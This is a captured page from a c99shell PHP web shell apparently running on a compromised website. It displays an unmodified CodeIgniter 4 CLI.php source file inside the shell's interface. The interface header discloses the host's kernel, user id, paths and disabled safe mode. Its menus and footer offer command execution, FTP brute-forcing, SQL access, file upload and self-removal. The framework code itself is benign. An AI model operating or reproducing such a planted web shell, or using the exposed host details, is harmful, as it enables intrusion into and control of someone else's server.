smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/CLI/   drwxr-xr-x
Free 3473.26 GB of 4265.01 GB (81.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CLI.php (30.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\CLI;

use 
CodeIgniter\CLI\Exceptions\CLIException;
use 
Config\Services;
use 
InvalidArgumentException;
use 
Throwable;

/**
 * Set of static methods useful for CLI request handling.
 *
 * Portions of this code were initially from the FuelPHP Framework,
 * version 1.7.x, and used here under the MIT license they were
 * originally made available under. Reference: http://fuelphp.com
 *
 * Some of the code in this class is Windows-specific, and not
 * possible to test using travis-ci. It has been phpunit-annotated
 * to prevent messing up code coverage.
 *
 * Some of the methods require keyboard input, and are not unit-testable
 * as a result: input() and prompt().
 * validate() is internal, and not testable if prompt() isn't.
 * The wait() method is mostly testable, as long as you don't give it
 * an argument of "0".
 * These have been flagged to ignore for code coverage purposes.
 */
class CLI
{
    
/**
     * Is the readline library on the system?
     *
     * @var bool
     */
    
public static $readline_support false;

    
/**
     * The message displayed at prompts.
     *
     * @var string
     */
    
public static $wait_msg 'Press any key to continue...';

    
/**
     * Has the class already been initialized?
     *
     * @var bool
     */
    
protected static $initialized false;

    
/**
     * Foreground color list
     *
     * @var array<string, string>
     */
    
protected static $foreground_colors = [
        
'black'        => '0;30',
        
'dark_gray'    => '1;30',
        
'blue'         => '0;34',
        
'dark_blue'    => '0;34',
        
'light_blue'   => '1;34',
        
'green'        => '0;32',
        
'light_green'  => '1;32',
        
'cyan'         => '0;36',
        
'light_cyan'   => '1;36',
        
'red'          => '0;31',
        
'light_red'    => '1;31',
        
'purple'       => '0;35',
        
'light_purple' => '1;35',
        
'yellow'       => '0;33',
        
'light_yellow' => '1;33',
        
'light_gray'   => '0;37',
        
'white'        => '1;37',
    ];

    
/**
     * Background color list
     *
     * @var array<string, string>
     */
    
protected static $background_colors = [
        
'black'      => '40',
        
'red'        => '41',
        
'green'      => '42',
        
'yellow'     => '43',
        
'blue'       => '44',
        
'magenta'    => '45',
        
'cyan'       => '46',
        
'light_gray' => '47',
    ];

    
/**
     * List of array segments.
     *
     * @var array
     */
    
protected static $segments = [];

    
/**
     * @var array
     */
    
protected static $options = [];

    
/**
     * Helps track internally whether the last
     * output was a "write" or a "print" to
     * keep the output clean and as expected.
     *
     * @var string|null
     */
    
protected static $lastWrite;

    
/**
     * Height of the CLI window
     *
     * @var int|null
     */
    
protected static $height;

    
/**
     * Width of the CLI window
     *
     * @var int|null
     */
    
protected static $width;

    
/**
     * Whether the current stream supports colored output.
     *
     * @var bool
     */
    
protected static $isColored false;

    
/**
     * Static "constructor".
     */
    
public static function init()
    {
        if (
is_cli()) {
            
// Readline is an extension for PHP that makes interactivity with PHP
            // much more bash-like.
            // http://www.php.net/manual/en/readline.installation.php
            
static::$readline_support extension_loaded('readline');

            
// clear segments & options to keep testing clean
            
static::$segments = [];
            static::
$options  = [];

            
// Check our stream resource for color support
            
static::$isColored = static::hasColorSupport(STDOUT);

            static::
parseCommandLine();

            static::
$initialized true;
        } else {
            
// If the command is being called from a controller
            // we need to define STDOUT ourselves
            
define('STDOUT''php://output'); // @codeCoverageIgnore
        
}
    }

    
/**
     * Get input from the shell, using readline or the standard STDIN
     *
     * Named options must be in the following formats:
     * php index.php user -v --v -name=John --name=John
     *
     * @param string $prefix
     *
     * @codeCoverageIgnore
     */
    
public static function input(?string $prefix null): string
    
{
        if (static::
$readline_support) {
            return 
readline($prefix);
        }

        echo 
$prefix;

        return 
fgets(STDIN);
    }

    
/**
     * Asks the user for input.
     *
     * Usage:
     *
     * // Takes any input
     * $color = CLI::prompt('What is your favorite color?');
     *
     * // Takes any input, but offers default
     * $color = CLI::prompt('What is your favourite color?', 'white');
     *
     * // Will validate options with the in_list rule and accept only if one of the list
     * $color = CLI::prompt('What is your favourite color?', array('red','blue'));
     *
     * // Do not provide options but requires a valid email
     * $email = CLI::prompt('What is your email?', null, 'required|valid_email');
     *
     * @param string       $field      Output "field" question
     * @param array|string $options    String to a default value, array to a list of options (the first option will be the default value)
     * @param array|string $validation Validation rules
     *
     * @return string The user input
     *
     * @codeCoverageIgnore
     */
    
public static function prompt(string $field$options null$validation null): string
    
{
        
$extraOutput '';
        
$default     '';

        if (
$validation && ! is_array($validation) && ! is_string($validation)) {
            throw new 
InvalidArgumentException('$rules can only be of type string|array');
        }

        if (! 
is_array($validation)) {
            
$validation $validation explode('|'$validation) : [];
        }

        if (
is_string($options)) {
            
$extraOutput ' [' . static::color($options'green') . ']';
            
$default     $options;
        }

        if (
is_array($options) && $options) {
            
$opts               $options;
            
$extraOutputDefault = static::color($opts[0], 'green');

            unset(
$opts[0]);

            if (empty(
$opts)) {
                
$extraOutput $extraOutputDefault;
            } else {
                
$extraOutput  '[' $extraOutputDefault ', ' implode(', '$opts) . ']';
                
$validation[] = 'in_list[' implode(', '$options) . ']';
            }

            
$default $options[0];
        }

        static::
fwrite(STDOUT$field . (trim($field) ? ' ' '') . $extraOutput ': ');

        
// Read the input from keyboard.
        
$input trim(static::input()) ?: $default;

        if (
$validation) {
            while (! static::
validate(trim($field), $input$validation)) {
                
$input = static::prompt($field$options$validation);
            }
        }

        return 
$input;
    }

    
/**
     * prompt(), but based on the option's key
     *
     * @param array|string      $text       Output "field" text or an one or two value array where the first value is the text before listing the options
     *                                      and the second value the text before asking to select one option. Provide empty string to omit
     * @param array             $options    A list of options (array(key => description)), the first option will be the default value
     * @param array|string|null $validation Validation rules
     *
     * @return string The selected key of $options
     *
     * @codeCoverageIgnore
     */
    
public static function promptByKey($text, array $options$validation null): string
    
{
        if (
is_string($text)) {
            
$text = [$text];
        } elseif (! 
is_array($text)) {
            throw new 
InvalidArgumentException('$text can only be of type string|array');
        }

        if (! 
$options) {
            throw new 
InvalidArgumentException('No options to select from were provided');
        }

        if (
$line array_shift($text)) {
            
CLI::write($line);
        }

        
// +2 for the square brackets around the key
        
$keyMaxLength max(array_map('mb_strwidth'array_keys($options))) + 2;

        foreach (
$options as $key => $description) {
            
$name str_pad('  [' $key ']  '$keyMaxLength 4' ');
            
CLI::write(CLI::color($name'green') . CLI::wrap($description125$keyMaxLength 4));
        }

        return static::
prompt(PHP_EOL array_shift($text), array_keys($options), $validation);
    }

    
/**
     * Validate one prompt "field" at a time
     *
     * @param string       $field Prompt "field" output
     * @param string       $value Input value
     * @param array|string $rules Validation rules
     *
     * @codeCoverageIgnore
     */
    
protected static function validate(string $fieldstring $value$rules): bool
    
{
        
$label      $field;
        
$field      'temp';
        
$validation Services::validation(nullfalse);
        
$validation->setRules([
            
$field => [
                
'label' => $label,
                
'rules' => $rules,
            ],
        ]);
        
$validation->run([$field => $value]);

        if (
$validation->hasError($field)) {
            static::
error($validation->getError($field));

            return 
false;
        }

        return 
true;
    }

    
/**
     * Outputs a string to the CLI without any surrounding newlines.
     * Useful for showing repeating elements on a single line.
     */
    
public static function print(string $text '', ?string $foreground null, ?string $background null)
    {
        if (
$foreground || $background) {
            
$text = static::color($text$foreground$background);
        }

        static::
$lastWrite null;

        static::
fwrite(STDOUT$text);
    }

    
/**
     * Outputs a string to the cli on it's own line.
     */
    
public static function write(string $text '', ?string $foreground null, ?string $background null)
    {
        if (
$foreground || $background) {
            
$text = static::color($text$foreground$background);
        }

        if (static::
$lastWrite !== 'write') {
            
$text              PHP_EOL $text;
            static::
$lastWrite 'write';
        }

        static::
fwrite(STDOUT$text PHP_EOL);
    }

    
/**
     * Outputs an error to the CLI using STDERR instead of STDOUT
     */
    
public static function error(string $textstring $foreground 'light_red', ?string $background null)
    {
        
// Check color support for STDERR
        
$stdout            = static::$isColored;
        static::
$isColored = static::hasColorSupport(STDERR);

        if (
$foreground || $background) {
            
$text = static::color($text$foreground$background);
        }

        static::
fwrite(STDERR$text PHP_EOL);

        
// return STDOUT color support
        
static::$isColored $stdout;
    }

    
/**
     * Beeps a certain number of times.
     *
     * @param int $num The number of times to beep
     */
    
public static function beep(int $num 1)
    {
        echo 
str_repeat("\x07"$num);
    }

    
/**
     * Waits a certain number of seconds, optionally showing a wait message and
     * waiting for a key press.
     *
     * @param int  $seconds   Number of seconds
     * @param bool $countdown Show a countdown or not
     */
    
public static function wait(int $secondsbool $countdown false)
    {
        if (
$countdown === true) {
            
$time $seconds;

            while (
$time 0) {
                static::
fwrite(STDOUT$time '... ');
                
sleep(1);
                
$time--;
            }

            static::
write();
        } elseif (
$seconds 0) {
            
sleep($seconds);
        } else {
            
// this chunk cannot be tested because of keyboard input
            // @codeCoverageIgnoreStart
            
static::write(static::$wait_msg);
            static::
input();
            
// @codeCoverageIgnoreEnd
        
}
    }

    
/**
     * if operating system === windows
     */
    
public static function isWindows(): bool
    
{
        return 
PHP_OS_FAMILY === 'Windows';
    }

    
/**
     * Enter a number of empty lines
     */
    
public static function newLine(int $num 1)
    {
        
// Do it once or more, write with empty string gives us a new line
        
for ($i 0$i $num$i++) {
            static::
write();
        }
    }

    
/**
     * Clears the screen of output
     *
     * @codeCoverageIgnore
     */
    
public static function clearScreen()
    {
        
// Unix systems, and Windows with VT100 Terminal support (i.e. Win10)
        // can handle CSI sequences. For lower than Win10 we just shove in 40 new lines.
        
static::isWindows() && ! static::streamSupports('sapi_windows_vt100_support'STDOUT)
            ? static::
newLine(40)
            : static::
fwrite(STDOUT"\033[H\033[2J");
    }

    
/**
     * Returns the given text with the correct color codes for a foreground and
     * optionally a background color.
     *
     * @param string $text       The text to color
     * @param string $foreground The foreground color
     * @param string $background The background color
     * @param string $format     Other formatting to apply. Currently only 'underline' is understood
     *
     * @return string The color coded string
     */
    
public static function color(string $textstring $foreground, ?string $background null, ?string $format null): string
    
{
        if (! static::
$isColored || $text === '') {
            return 
$text;
        }

        if (! 
array_key_exists($foreground, static::$foreground_colors)) {
            throw 
CLIException::forInvalidColor('foreground'$foreground);
        }

        if (
$background !== null && ! array_key_exists($background, static::$background_colors)) {
            throw 
CLIException::forInvalidColor('background'$background);
        }

        
$newText '';

        
// Detect if color method was already in use with this text
        
if (strpos($text"\033[0m") !== false) {
            
$pattern '/\\033\\[0;.+?\\033\\[0m/u';

            
preg_match_all($pattern$text$matches);
            
$coloredStrings $matches[0];

            
// No colored string found. Invalid strings with no `\033[0;??`.
            
if ($coloredStrings === []) {
                return 
$newText self::getColoredText($text$foreground$background$format);
            }

            
$nonColoredText preg_replace(
                
$pattern,
                
'<<__colored_string__>>',
                
$text
            
);
            
$nonColoredChunks preg_split(
                
'/<<__colored_string__>>/u',
                
$nonColoredText
            
);

            foreach (
$nonColoredChunks as $i => $chunk) {
                if (
$chunk !== '') {
                    
$newText .= self::getColoredText($chunk$foreground$background$format);
                }

                if (isset(
$coloredStrings[$i])) {
                    
$newText .= $coloredStrings[$i];
                }
            }
        } else {
            
$newText .= self::getColoredText($text$foreground$background$format);
        }

        return 
$newText;
    }

    private static function 
getColoredText(string $textstring $foreground, ?string $background, ?string $format): string
    
{
        
$string "\033[" . static::$foreground_colors[$foreground] . 'm';

        if (
$background !== null) {
            
$string .= "\033[" . static::$background_colors[$background] . 'm';
        }

        if (
$format === 'underline') {
            
$string .= "\033[4m";
        }

        return 
$string $text "\033[0m";
    }

    
/**
     * Get the number of characters in string having encoded characters
     * and ignores styles set by the color() function
     */
    
public static function strlen(?string $string): int
    
{
        if (
$string === null) {
            return 
0;
        }

        foreach (static::
$foreground_colors as $color) {
            
$string strtr($string, ["\033[" $color 'm' => '']);
        }

        foreach (static::
$background_colors as $color) {
            
$string strtr($string, ["\033[" $color 'm' => '']);
        }

        
$string strtr($string, ["\033[4m" => ''"\033[0m" => '']);

        return 
mb_strwidth($string);
    }

    
/**
     * Checks whether the current stream resource supports or
     * refers to a valid terminal type device.
     *
     * @param resource $resource
     */
    
public static function streamSupports(string $function$resource): bool
    
{
        if (
ENVIRONMENT === 'testing') {
            
// In the current setup of the tests we cannot fully check
            // if the stream supports the function since we are using
            // filtered streams.
            
return function_exists($function);
        }

        return 
function_exists($function) && @$function($resource); // @codeCoverageIgnore
    
}

    
/**
     * Returns true if the stream resource supports colors.
     *
     * This is tricky on Windows, because Cygwin, Msys2 etc. emulate pseudo
     * terminals via named pipes, so we can only check the environment.
     *
     * Reference: https://github.com/composer/xdebug-handler/blob/master/src/Process.php
     *
     * @param resource $resource
     */
    
public static function hasColorSupport($resource): bool
    
{
        
// Follow https://no-color.org/
        
if (isset($_SERVER['NO_COLOR']) || getenv('NO_COLOR') !== false) {
            return 
false;
        }

        if (
getenv('TERM_PROGRAM') === 'Hyper') {
            return 
true;
        }

        if (static::
isWindows()) {
            
// @codeCoverageIgnoreStart
            
return static::streamSupports('sapi_windows_vt100_support'$resource)
                || isset(
$_SERVER['ANSICON'])
                || 
getenv('ANSICON') !== false
                
|| getenv('ConEmuANSI') === 'ON'
                
|| getenv('TERM') === 'xterm';
            
// @codeCoverageIgnoreEnd
        
}

        return static::
streamSupports('stream_isatty'$resource);
    }

    
/**
     * Attempts to determine the width of the viewable CLI window.
     */
    
public static function getWidth(int $default 80): int
    
{
        if (static::
$width === null) {
            static::
generateDimensions();
        }

        return static::
$width ?: $default;
    }

    
/**
     * Attempts to determine the height of the viewable CLI window.
     */
    
public static function getHeight(int $default 32): int
    
{
        if (static::
$height === null) {
            static::
generateDimensions();
        }

        return static::
$height ?: $default;
    }

    
/**
     * Populates the CLI's dimensions.
     *
     * @codeCoverageIgnore
     */
    
public static function generateDimensions()
    {
        try {
            if (static::
isWindows()) {
                
// Shells such as `Cygwin` and `Git bash` returns incorrect values
                // when executing `mode CON`, so we use `tput` instead
                
if (getenv('TERM') || (($shell getenv('SHELL')) && preg_match('/(?:bash|zsh)(?:\.exe)?$/'$shell))) {
                    static::
$height = (int) exec('tput lines');
                    static::
$width  = (int) exec('tput cols');
                } else {
                    
$return = -1;
                    
$output = [];
                    
exec('mode CON'$output$return);

                    
// Look for the next lines ending in ": <number>"
                    // Searching for "Columns:" or "Lines:" will fail on non-English locales
                    
if ($return === && $output && preg_match('/:\s*(\d+)\n[^:]+:\s*(\d+)\n/'implode("\n"$output), $matches)) {
                        static::
$height = (int) $matches[1];
                        static::
$width  = (int) $matches[2];
                    }
                }
            } elseif ((
$size exec('stty size')) && preg_match('/(\d+)\s+(\d+)/'$size$matches)) {
                static::
$height = (int) $matches[1];
                static::
$width  = (int) $matches[2];
            } else {
                static::
$height = (int) exec('tput lines');
                static::
$width  = (int) exec('tput cols');
            }
        } catch (
Throwable $e) {
            
// Reset the dimensions so that the default values will be returned later.
            // Then let the developer know of the error.
            
static::$height null;
            static::
$width  null;
            
log_message('error'$e->getMessage());
        }
    }

    
/**
     * Displays a progress bar on the CLI. You must call it repeatedly
     * to update it. Set $thisStep = false to erase the progress bar.
     *
     * @param bool|int $thisStep
     */
    
public static function showProgress($thisStep 1int $totalSteps 10)
    {
        static 
$inProgress false;

        
// restore cursor position when progress is continuing.
        
if ($inProgress !== false && $inProgress <= $thisStep) {
            static::
fwrite(STDOUT"\033[1A");
        }
        
$inProgress $thisStep;

        if (
$thisStep !== false) {
            
// Don't allow div by zero or negative numbers....
            
$thisStep   abs($thisStep);
            
$totalSteps $totalSteps $totalSteps;

            
$percent = (int) (($thisStep $totalSteps) * 100);
            
$step    = (int) round($percent 10);

            
// Write the progress bar
            
static::fwrite(STDOUT"[\033[32m" str_repeat('#'$step) . str_repeat('.'10 $step) . "\033[0m]");
            
// Textual representation...
            
static::fwrite(STDOUTsprintf(' %3d%% Complete'$percent) . PHP_EOL);
        } else {
            static::
fwrite(STDOUT"\007");
        }
    }

    
/**
     * Takes a string and writes it to the command line, wrapping to a maximum
     * width. If no maximum width is specified, will wrap to the window's max
     * width.
     *
     * If an int is passed into $pad_left, then all strings after the first
     * will padded with that many spaces to the left. Useful when printing
     * short descriptions that need to start on an existing line.
     */
    
public static function wrap(?string $string nullint $max 0int $padLeft 0): string
    
{
        if (empty(
$string)) {
            return 
'';
        }

        if (
$max === 0) {
            
$max self::getWidth();
        }

        if (
self::getWidth() < $max) {
            
$max self::getWidth();
        }

        
$max $max $padLeft;

        
$lines wordwrap($string$maxPHP_EOL);

        if (
$padLeft 0) {
            
$lines explode(PHP_EOL$lines);

            
$first true;

            
array_walk($lines, static function (&$line) use ($padLeft, &$first) {
                if (! 
$first) {
                    
$line str_repeat(' '$padLeft) . $line;
                } else {
                    
$first false;
                }
            });

            
$lines implode(PHP_EOL$lines);
        }

        return 
$lines;
    }

    
//--------------------------------------------------------------------
    // Command-Line 'URI' support
    //--------------------------------------------------------------------

    /**
     * Parses the command line it was called from and collects all
     * options and valid segments.
     */
    
protected static function parseCommandLine()
    {
        
$args $_SERVER['argv'] ?? [];
        
array_shift($args); // scrap invoking program
        
$optionValue false;

        foreach (
$args as $i => $arg) {
            
// If there's no "-" at the beginning, then
            // this is probably an argument or an option value
            
if (mb_strpos($arg'-') !== 0) {
                if (
$optionValue) {
                    
// We have already included this in the previous
                    // iteration, so reset this flag
                    
$optionValue false;
                } else {
                    
// Yup, it's a segment
                    
static::$segments[] = $arg;
                }

                continue;
            }

            
$arg   ltrim($arg'-');
            
$value null;

            if (isset(
$args[$i 1]) && mb_strpos($args[$i 1], '-') !== 0) {
                
$value       $args[$i 1];
                
$optionValue true;
            }

            static::
$options[$arg] = $value;
        }
    }

    
/**
     * Returns the command line string portions of the arguments, minus
     * any options, as a string. This is used to pass along to the main
     * CodeIgniter application.
     */
    
public static function getURI(): string
    
{
        return 
implode('/', static::$segments);
    }

    
/**
     * Returns an individual segment.
     *
     * This ignores any options that might have been dispersed between
     * valid segments in the command:
     *
     *  // segment(3) is 'three', not '-f' or 'anOption'
     *  > php spark one two -f anOption three
     *
     * **IMPORTANT:** The index here is one-based instead of zero-based.
     *
     * @return mixed
     */
    
public static function getSegment(int $index)
    {
        return static::
$segments[$index 1] ?? null;
    }

    
/**
     * Returns the raw array of segments found.
     */
    
public static function getSegments(): array
    {
        return static::
$segments;
    }

    
/**
     * Gets a single command-line option. Returns TRUE if the option
     * exists, but doesn't have a value, and is simply acting as a flag.
     *
     * @return mixed
     */
    
public static function getOption(string $name)
    {
        if (! 
array_key_exists($name, static::$options)) {
            return 
null;
        }

        
// If the option didn't have a value, simply return TRUE
        // so they know it was set, otherwise return the actual value.
        
$val = static::$options[$name] ?? true;

        return 
$val;
    }

    
/**
     * Returns the raw array of options found.
     */
    
public static function getOptions(): array
    {
        return static::
$options;
    }

    
/**
     * Returns the options as a string, suitable for passing along on
     * the CLI to other commands.
     *
     * @param bool $useLongOpts Use '--' for long options?
     * @param bool $trim        Trim final string output?
     */
    
public static function getOptionString(bool $useLongOpts falsebool $trim false): string
    
{
        if (empty(static::
$options)) {
            return 
'';
        }

        
$out '';

        foreach (static::
$options as $name => $value) {
            if (
$useLongOpts && mb_strlen($name) > 1) {
                
$out .= "--{$name} ";
            } else {
                
$out .= "-{$name} ";
            }

            if (
$value === null) {
                continue;
            }

            if (
mb_strpos($value' ') !== false) {
                
$out .= "\"{$value}\" ";
            } elseif (
$value !== null) {
                
$out .= "{$value} ";
            }
        }

        return 
$trim trim($out) : $out;
    }

    
/**
     * Returns a well formatted table
     *
     * @param array $tbody List of rows
     * @param array $thead List of columns
     */
    
public static function table(array $tbody, array $thead = [])
    {
        
// All the rows in the table will be here until the end
        
$tableRows = [];

        
// We need only indexes and not keys
        
if (! empty($thead)) {
            
$tableRows[] = array_values($thead);
        }

        foreach (
$tbody as $tr) {
            
$tableRows[] = array_values($tr);
        }

        
// Yes, it really is necessary to know this count
        
$totalRows count($tableRows);

        
// Store all columns lengths
        // $all_cols_lengths[row][column] = length
        
$allColsLengths = [];

        
// Store maximum lengths by column
        // $max_cols_lengths[column] = length
        
$maxColsLengths = [];

        
// Read row by row and define the longest columns
        
for ($row 0$row $totalRows$row++) {
            
$column 0// Current column index

            
foreach ($tableRows[$row] as $col) {
                
// Sets the size of this column in the current row
                
$allColsLengths[$row][$column] = static::strlen($col);

                
// If the current column does not have a value among the larger ones
                // or the value of this is greater than the existing one
                // then, now, this assumes the maximum length
                
if (! isset($maxColsLengths[$column]) || $allColsLengths[$row][$column] > $maxColsLengths[$column]) {
                    
$maxColsLengths[$column] = $allColsLengths[$row][$column];
                }

                
// We can go check the size of the next column...
                
$column++;
            }
        }

        
// Read row by row and add spaces at the end of the columns
        // to match the exact column length
        
for ($row 0$row $totalRows$row++) {
            
$column 0;

            foreach (
$tableRows[$row] as $col) {
                
$diff $maxColsLengths[$column] - static::strlen($col);

                if (
$diff) {
                    
$tableRows[$row][$column] = $tableRows[$row][$column] . str_repeat(' '$diff);
                }

                
$column++;
            }
        }

        
$table '';

        
// Joins columns and append the well formatted rows to the table
        
for ($row 0$row $totalRows$row++) {
            
// Set the table border-top
            
if ($row === 0) {
                
$cols '+';

                foreach (
$tableRows[$row] as $col) {
                    
$cols .= str_repeat('-', static::strlen($col) + 2) . '+';
                }
                
$table .= $cols PHP_EOL;
            }

            
// Set the columns borders
            
$table .= '| ' implode(' | '$tableRows[$row]) . ' |' PHP_EOL;

            
// Set the thead and table borders-bottom
            
if (isset($cols) && (($row === && ! empty($thead)) || ($row === $totalRows))) {
                
$table .= $cols PHP_EOL;
            }
        }

        static::
write($table);
    }

    
/**
     * While the library is intended for use on CLI commands,
     * commands can be called from controllers and elsewhere
     * so we need a way to allow them to still work.
     *
     * For now, just echo the content, but look into a better
     * solution down the road.
     *
     * @param resource $handle
     */
    
protected static function fwrite($handlestring $string)
    {
        if (! 
is_cli()) {
            
// @codeCoverageIgnoreStart
            
echo $string;

            return;
            
// @codeCoverageIgnoreEnd
        
}

        
fwrite($handle$string);
    }
}

// Ensure the class is initialized. Done outside of code coverage
CLI::init(); // @codeCoverageIgnore

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0204 ]--